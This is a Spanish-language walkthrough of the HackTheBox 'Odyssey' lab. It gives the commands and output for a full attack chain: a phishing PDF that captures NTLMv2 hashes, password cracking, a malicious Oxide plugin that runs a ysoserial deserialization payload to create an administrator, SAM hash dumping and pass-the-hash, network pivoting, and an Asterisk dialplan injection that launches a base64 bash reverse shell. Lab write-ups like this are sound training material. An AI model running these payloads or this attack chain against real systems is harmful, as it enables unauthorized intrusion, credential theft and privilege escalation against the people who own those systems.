xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Odyssey



Inner Orion Arm

ODYSSEY{k4r3Ful_WI7h_pDf_FiL32}


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos la mayoria parecen ser los de un windows

❯ nmap 10.13.38.21
Nmap scan report for 10.13.38.21  
PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
143/tcp   open  imap
445/tcp   open  microsoft-ds
587/tcp   open  submission
5985/tcp  open  wsman
28016/tcp open  unknown
28083/tcp open  unknown
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

El puerto smb esta abierto, podemos el nombre de la maquina que es online pero no pertenece a ningun dominio sino que es una maquina windows independiente

❯ crackmapexec smb 10.13.38.21                                                                  
SMB         10.13.38.21     445    ONLINE           [*] Windows 10.0 Build 17763 x64 (name:ONLINE) (domain:online) (signing:False) (SMBv1:False)  

En la pagina principal en el apartado de informacion nos hablan sobre servidores de rust y mods para oxide mejorando rendimiento ademas de algunas imagenes

La primera imagen llama la atencion y es que de fondo ademas de la cmd corriendo vemos un acceso directo a Adobe Reader 9 por lo que podria estar instalado

Un poco mas abajo nos encontramos con un correo de soporte invoice@odyssey.htb

En el siguiente articulo nos muestran una posible forma de obtener una peticion y un hash NTLMv2 a través de un pdf en versiones antiguas de Adobe y Foxit, asi que usando BadPDF podemos crear un pdf malicioso indicando nuestro host e interfaz

❯ sudo python2 badpdf.py

        ______                 __       _______  ______   ________  
        |_   _ \               |  ]     |_   __ \|_   _ `.|_   __  | 
          | |_) |  ,--.    .--.| | ______ | |__) | | | `. \ | |_ \_| 
          |  __'. `'_\ : / /'`' ||______||  ___/  | |  | | |  _|    
         _| |__) |// | |,| \__/  |       _| |_    _| |_.' /_| |_     
        |_______/ '-;__/ '.__.;__]     |_____|  |______.'|_____|

        Author : Deepu TV ; Alias DeepZec 

        =============================================================  
        
Responder detected :/usr/sbin/responder
Please enter Bad-PDF host IP: 
10.10.14.10
Please enter output file name: 
test.pdf
Please enter the interface name to listen(Default eth0): 
tun0
[*] Starting Process.. [*]
Bad PDF test.pdf created
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[+] Listening for events...

Ya que tenemos un correo, a traves de smtp podemos enviar un correo de phishing a invoice adjuntandole el pdf incitando a que lo abra y nos envie la peticion

❯ swaks --to invoice@odyssey.htb --from test@odyssey.htb --header "Subject: Problem on the server" --server 10.13.38.21 --attach test.pdf  
=== Trying 10.13.38.21:25...
=== Connected to 10.13.38.21.
<-  220 ONLINE ESMTP
 -> EHLO kali
<-  250-ONLINE
<-  250-SIZE 20480000
<-  250-AUTH LOGIN
<-  250 HELP
 -> MAIL FROM:<test@odyssey.htb>
<-  250 OK
 -> RCPT TO:<invoice@odyssey.htb>
<-  250 OK
 -> DATA
<-  354 OK, send.
 -> To: invoice@odyssey.htb
 -> From: test@odyssey.htb
 -> Subject: Problem on the server
 -> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
 -> 
 -> .
<-  250 Queued (1.168 seconds)
 -> QUIT
<-  221 goodbye
=== Connection closed with remote host.

Despues de unos segundos obtenemos una autenticacion como el usuario elpenor que se traduce en responder a un hash de este usuario en formato NTLMv2

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.13.38.21
[SMB] NTLMv2-SSP Username : ONLINE\elpenor
[SMB] NTLMv2-SSP Hash     : elpenor::ONLINE:1122334455667788:76648058671B85ABBFACBA7C04CB33A7:0101000000000000004DCAC7B5DAD901FDCC4AA06846D3BE000000000200080053004A003000470001001E00570049004E002D005100320046004D005200420037004F0059005300310004003400570049004E002D005100320046004D005200420037004F005900530031002E0053004A00300047002E004C004F00430041004C000300140053004A00300047002E004C004F00430041004C000500140053004A00300047002E004C004F00430041004C0007000800004DCAC7B5DAD90106000400020000000800300030000000000000000000000000200000B77744339FDFDD27F36FF0EA8EDEA82420E687A41F0722354674D948AC7186640A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0034000000000000000000  

Sin embargo la contraseña es demasiado debil y la logramos crackear usando john

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
superman         (elpenor)
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably  
Session completed.

Al comprobar la contraseña de elpenor con crackmapexec nos encontramos con que es valida tanto para el servicio smb como para winrm ya que devuelve Pwned!

❯ crackmapexec smb 10.13.38.21 -u elpenor -p superman
SMB         10.13.38.21     445    ONLINE           [*] Windows 10.0 Build 17763 x64 (name:ONLINE) (domain:ONLINE) (signing:False) (SMBv1:False)  
SMB         10.13.38.21     445    ONLINE           [+] ONLINE\elpenor:superman 

❯ crackmapexec winrm 10.13.38.21 -u elpenor -p superman
SMB         10.13.38.21     5985   ONLINE           [*] Windows 10.0 Build 17763 (name:ONLINE) (domain:ONLINE)
HTTP        10.13.38.21     5985   ONLINE           [*] http://10.13.38.21:5985/wsman
HTTP        10.13.38.21     5985   ONLINE           [+] ONLINE\elpenor:superman (Pwn3d!)

Podemos simplemente conectarnos con evil-winrm, obtener una shell y leer la flag

❯ evil-winrm -i 10.13.38.21 -u elpenor -p superman
PS C:\Users\elpenor\Documents> whoami
online\elpenor
PS C:\Users\elpenor\Documents> type ..\Desktop\flag.txt  
ODYSSEY{k4r3Ful_WI7h_pDf_FiL32}
PS C:\Users\elpenor\Documents>


Strange quark

ODYSSEY{Ded1CA7eD_rU57_5ERVeR}


Navegando entre directorios encontramos uno llamado rustserver, el cual dentro tiene otro llamado oxide, del cual se nos hablaba antes en un apartado de la web

PS C:\rustserver\oxide> dir

    Directory: C:\rustserver\oxide

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        3/14/2021   7:05 AM                config
d-----        3/14/2021   7:19 AM                data
d-----        3/14/2021   7:05 AM                lang
d-----         5/6/2022   2:42 AM                logs
d-----        7/24/2021   1:12 PM                plugins
-a----        3/14/2021   7:05 AM            431 oxide.config.json  

PS C:\rustserver\oxide>

Curiosamente en el directorio de plugins podemos escribir por lo que podriamos subir un plugin escrito en C# ayudandonos de la documentacion para crearlo

PS C:\rustserver\oxide\plugins> icacls .
. BUILTIN\Users:(OI)(CI)(W)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(F)
  BUILTIN\Users:(I)(OI)(CI)(RX)
  BUILTIN\Users:(I)(CI)(AD)
  BUILTIN\Users:(I)(CI)(WD)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files  
PS C:\rustserver\oxide\plugins>

Para aprovecharnos de esto crearemos una data serializada en base64 que cree un usuario pwned que sea administrador, para ello usaremos ysoserial indicando el formato BynaryFormatter que usaremos, ademas que lo queremos en base64

PS C:\CTF\ysoserial> .\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegateMono -o base64 -c "net user pwned password123# /add && net localgroup Administrators pwned /add"
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAE8vYyBuZXQgdXNlciBwd25lZCBwYXNzd29yZDEyMyMgL2FkZCAmJiBuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9ycyBwd25lZCAvYWRkBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCQAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgoAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GCwAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBgwAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYNAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg4AAAAFU3RhcnQJDwAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkOAAAACQwAAAAJDQAAAAYTAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEPAAAACAAAAAkKAAAACQsAAAAKCQwAAAAJDQAAAAkOAAAACgs=  
PS C:\CTF\ysoserial>

Basandonos en el ejemplo de la documentación podemos crear un codigo simple en C# que interprete nuestra data serializada a traves del objeto BinaryFormatter

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;

namespace Oxide.Plugins
{
    [Info("Epic Stuff", "Unknown Author", "0.1.0")]
    [Description("Makes epic stuff happen")]
    class EpicStuff : CovalencePlugin
    {
        private void Init()
        {
            byte[] payload = Convert.FromBase64String("AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAE8vYyBuZXQgdXNlciBwd25lZCBwYXNzd29yZDEyMyMgL2FkZCAmJiBuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9ycyBwd25lZCAvYWRkBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCQAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgoAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GCwAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBgwAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYNAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg4AAAAFU3RhcnQJDwAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkOAAAACQwAAAAJDQAAAAYTAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEPAAAACAAAAAkKAAAACQsAAAAKCQwAAAAJDQAAAAkOAAAACgs=");  
            BinaryFormatter formatter = new BinaryFormatter();
            Stream stream = new MemoryStream(payload);
            object obj = formatter.Deserialize(stream);
        }
    }
}

Simplemente nos queda subir el archivo .cs al directorio plugins de oxide y esperar a que se ejecute, podemos subirlo usando la funcion upload de evil-winrm

PS C:\rustserver\oxide\plugins> upload EpicStuff.cs

Info: Uploading EpicStuff.cs to C:\rustserver\oxide\plugins\EpicStuff.cs  

Data: 4352 bytes of 4352 bytes copied

Info: Upload successful!

PS C:\rustserver\oxide\plugins>

Despues de unos segundos se carga el plugin y se interpreta nuestro payload, y por consecuencia se crea el usuario pwned que pertenece al grupo Administrators

PS C:\rustserver\oxide\plugins> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            DefaultAccount           elpenor
Guest                    pwned                    sshd
WDAGUtilityAccount
The command completed with one or more errors.

PS C:\rustserver\oxide\plugins> net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain  

Members

-------------------------------------------------------------------------------
Administrator
pwned
The command completed successfully.

PS C:\rustserver\oxide\plugins>

Como el usuario es administrador nos devuelve un Pwn3d! en crackmapexec por lo que podemos dumpear la sam y ver todos los hashes NT de los usuarios

❯ crackmapexec smb 10.13.38.21 -u pwned -p password123#
SMB         10.13.38.21     445    ONLINE           [*] Windows 10.0 Build 17763 x64 (name:ONLINE) (domain:ONLINE) (signing:False) (SMBv1:False)  
SMB         10.13.38.21     445    ONLINE           [+] ONLINE\pwned:password123# (Pwn3d!)

❯ crackmapexec smb 10.13.38.21 -u pwned -p password123# --sam
SMB         10.13.38.21     445    ONLINE           [*] Windows 10.0 Build 17763 x64 (name:ONLINE) (domain:ONLINE) (signing:False) (SMBv1:False)  
SMB         10.13.38.21     445    ONLINE           [+] ONLINE\pwned:password123# (Pwn3d!)
SMB         10.13.38.21     445    ONLINE           [*] Dumping SAM hashes
SMB         10.13.38.21     445    ONLINE           Administrator:500:aad3b435b51404eeaad3b435b51404ee:c606623dc66bad2c670d402d4a33d2b7:::
SMB         10.13.38.21     445    ONLINE           Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.13.38.21     445    ONLINE           DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.13.38.21     445    ONLINE           WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b2aee3361c843009143be1a935d8db9b:::
SMB         10.13.38.21     445    ONLINE           elpenor:1001:aad3b435b51404eeaad3b435b51404ee:72f5cfa80f07819ccbcfb72feb9eb9b7:::
SMB         10.13.38.21     445    ONLINE           sshd:1002:aad3b435b51404eeaad3b435b51404ee:696df4f224281d855e7716d56acc2bc8:::
SMB         10.13.38.21     445    ONLINE           pwned:1003:aad3b435b51404eeaad3b435b51404ee:e5abfbc0410c5ce37bae2276dee52aaf:::

Podemos simplemente conectarnos con evil-winrm, obtener una shell y leer la flag

❯ evil-winrm -i 10.13.38.21 -u Administrator -H c606623dc66bad2c670d402d4a33d2b7  
PS C:\Users\Administrator\Documents> whoami
online\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\flag.txt
ODYSSEY{Ded1CA7eD_rU57_5ERVeR}
PS C:\Users\Administrator\Documents>


Entanglement

ODYSSEY{THE_tElEPH0Ne_4_New_M4cHINe}


Al hacer un ipconfig nos damos cuenta que tenemos otra interfaz de red en la cual nuestra direccion IPv4 es la 192.168.21.10 pero puede haber mas equipos

PS C:\Users\Administrator\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : htb
   IPv6 Address. . . . . . . . . . . : dead:beef::17
   IPv6 Address. . . . . . . . . . . : dead:beef::a04b:6d7c:3355:828d  
   Link-local IPv6 Address . . . . . : fe80::a04b:6d7c:3355:828d%6
   IPv4 Address. . . . . . . . . . . : 10.13.38.21
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:deb9%6
                                       10.13.38.2

Ethernet adapter Ethernet1:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::1521:9a68:91c:f431%4
   IPv4 Address. . . . . . . . . . . : 192.168.21.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.21.2

PS C:\Users\Administrator\Documents>

Para tener conexion desde nuestro equipo podemos usar ligolo-ng usando el agent para conectarnos a nuestro equipo por el puerto 11601 que nos marca el proxy

PS C:\Users\Administrator\Documents> upload agent.exe

Info: Uploading agent.exe to C:\Users\Administrator\Documents\agent.exe

Data: 6460072 bytes of 6460072 bytes copied

Info: Upload successful!

PS C:\Users\Administrator\Documents> .\agent.exe -connect 10.10.14.10:11601 -ignore-cert  

En el proxy obtenemos una sesión, la indicamos e iniciamos el tunel con start

❯ ./proxy -selfcert
WARN[0000] Using automatically generated self-signed certificates (Not recommended) 
INFO[0000] Listening on 0.0.0.0:11601                   
    __    _             __                       
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
        /____/                          /____/   

Made in France ♥ by @Nicocha30!

ligolo-ng » 
INFO[0051] Agent joined.         name="ONLINE\\Administrator@online" remote="10.13.38.21:49679"  
ligolo-ng » session
? Specify a session : 1 - ONLINE\Administrator@online - 10.13.38.21:49679
[Agent : ONLINE\Administrator@online] » start
INFO[0062] Starting tunnel to ONLINE\Administrator@online 
[Agent : ONLINE\Administrator@online] »

Agregamos el segmento 192.168.21.0/24 a la interfaz de ligolo y ahora tenemos conexión con todos los equipos de la interfaz, podemos comprobarlo con un ping

❯ sudo ip route add 192.168.21.0/24 dev ligolo

❯ ping -c1 -w1 192.168.21.10   
PING 192.168.21.10 (192.168.21.10) 56(84) bytes of data.
64 bytes from 192.168.21.10: icmp_seq=1 ttl=64 time=167 ms

--- 192.168.21.10 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 167.279/167.279/167.279/0.000 ms

A través de ping logramos encontrar otros 3 hosts activos, podemos escanear los puertos con nmap de estos, desde el host .11 hasta la .13 de esta interfaz

❯ nmap 192.168.21.11-13
Nmap scan report for 192.168.21.11  
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
3000/tcp open  ppp

Nmap scan report for 192.168.21.12 
PORT      STATE SERVICE
3000/tcp  open  ppp
5039/tcp  open  unknown
8080/tcp  open  http-proxy
25000/tcp open  icl-twobase1

Nmap scan report for 192.168.21.13  
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind

Iniciemos por la web de la .12 en el puerto 8080 el cual simplemente corre gogs

Sabemos la existencia de un usuario llamado elpenor, al revisar si tiene una cuenta en gogs nos aparece como existente y nos muestra un repositorio publico

El repositorio es el codigo fuente para un bot para rocket chat que corre en el 3000

Tambien podemos ver toda la actividad publica del usuario elpenor, como commits

En uno de los commits encontramos un enlace el cual te lleva a un registro de invitacion al que si un usuario entra puede registrarse en rocket chat

Entramos al enlace que nos comparten y registramos un usuario cualquiera, como test donde obtenemos acceso a un rocket chat donde hay un foro llamado general

Otra cosa interesante es que en los problemas elpenor solicita la creacion de un servidor voip, y pide que se la pasen a aeolus con la sintaxis ip <ip address>

Con netsh redirigimos todo el trafico entrante del puerto 5038 donde escucha voip a nuestro host para asi poder recibir la peticion desde nuestra maquina

PS C:\Users\Administrator\Documents> netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=5038 connectaddress=10.10.14.10 connectport=5038  
PS C:\Users\Administrator\Documents>

Enviamos la ip 192.168.21.10 que es la del windows al bot aeolus en el chat y en nuestra maquina atacante recibimos la peticion, la cual solo intenta autenticarse

Ya que nosotros recibimos la autenticacion interceptamos las credenciales de este

❯ netcat -lvnp 5038
Listening on 0.0.0.0 5038
Connection received on 10.13.38.21  
Action: login
Username: aeolus
Secret: P7xJ6y6x
ActionID: __auth_1693366373541__

El puerto 5038 de la maquina esta cerrado pero el 5039 esta abierto que es ssl, podemos crear un archivo commands.txt con la autenticacion que se realizaba

Action: login
Username: aeolus
Secret: P7xJ6y6x

Ahora nos conectamos el puerto 5039 de la maquina con openssl y enviamos el contenido del commands.txt como input, recibimos un Authentication accepted

❯ cat commands.txt | openssl s_client -quiet -connect 192.168.21.12:5039  
Response: Success
Message: Authentication accepted

Event: FullyBooted
Privilege: system,all
Uptime: 4251
LastReload: 4251
Status: Fully Booted

Realizamos el mismo proceso pero esta vez le agregamos un help como comando

Action: login
Username: aeolus
Secret: P7xJ6y6x

Action: command
Command: help

Encontramos varias funciones, entre ellas dialplan add extension que agregaremos al archivo commands.txt para asi ver la sintaxis que se necesita para poder usarla

Action: login
Username: aeolus
Secret: P7xJ6y6x

Action: command
Command: dialplan add extension

En los privilegios encontramos system,all que es lo que podemos usar, ademas podemos ver los argumentos que esta funcion necesita para ejecutarse

❯ cat commands.txt | openssl s_client -quiet -connect 192.168.21.12:5039
Response: Success
Message: Authentication accepted

Event: FullyBooted
Privilege: system,all
Uptime: 4356
LastReload: 4356
Status: Fully Booted

Response: Error
Message: Command output follows
Output: Usage: dialplan add extension <exten>,<priority>,<app> into <context> [replace]  
Output: 
Output:        app can be either:
Output:          app-name
Output:          app-name(app-data)
Output:          app-name,<app-data>
Output: 
Output:        This command will add the new extension into <context>.  If
Output:        an extension with the same priority already exists and the
Output:        'replace' option is given we will replace the extension.
Output: 
Output: Example: dialplan add extension 6123,1,Dial,IAX/216.207.245.56/6123 into local
Output:          Now, you can dial 6123 and talk to Markster :)

Podemos usar system, pero para poder enviarnos una shell encodearemos en base64 un clasico oneliner en bash que lo enviara a la .10 en el puerto 4444

❯ echo 'bash -c "bash -i >& /dev/tcp/192.168.21.10/4444 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEwLzQ0NDQgMD4mMSIK  

Ahora con crearemos extensión test bajo el contexto pwned que se encargara de ejecutar con system nuestro payload, seguido de llamar a la extension test

Action: login
Username: aeolus
Secret: P7xJ6y6x

Action: command
Command: dialplan add extension test,1,system(echo\ YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEwLzQ0NDQgMD4mMSIK|base64\ -d|bash), into pwned replace  

Action: command
Command: originate local/test@pwned extension test@pwned

En el windows redirigimos el trafico que entre por el puerto 4444 a nuestro host

PS C:\Users\Administrator\Documents> netsh interface portproxy add v4tov4 listenaddress=192.168.21.10 listenport=4444 connectaddress=10.10.14.10 connectport=4444  
PS C:\Users\Administrator\Documents>

Finalmente enviamos los comandos a voip y el interpretarse el payload con system recibimos una shell como el usuario asterisk en la .12 donde podemos leer la flag

❯ cat commands.txt | openssl s_client -quiet -connect 192.168.21.12:5039  

❯ netcat -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.13.38.21
asterisk@odyssey:~$ id
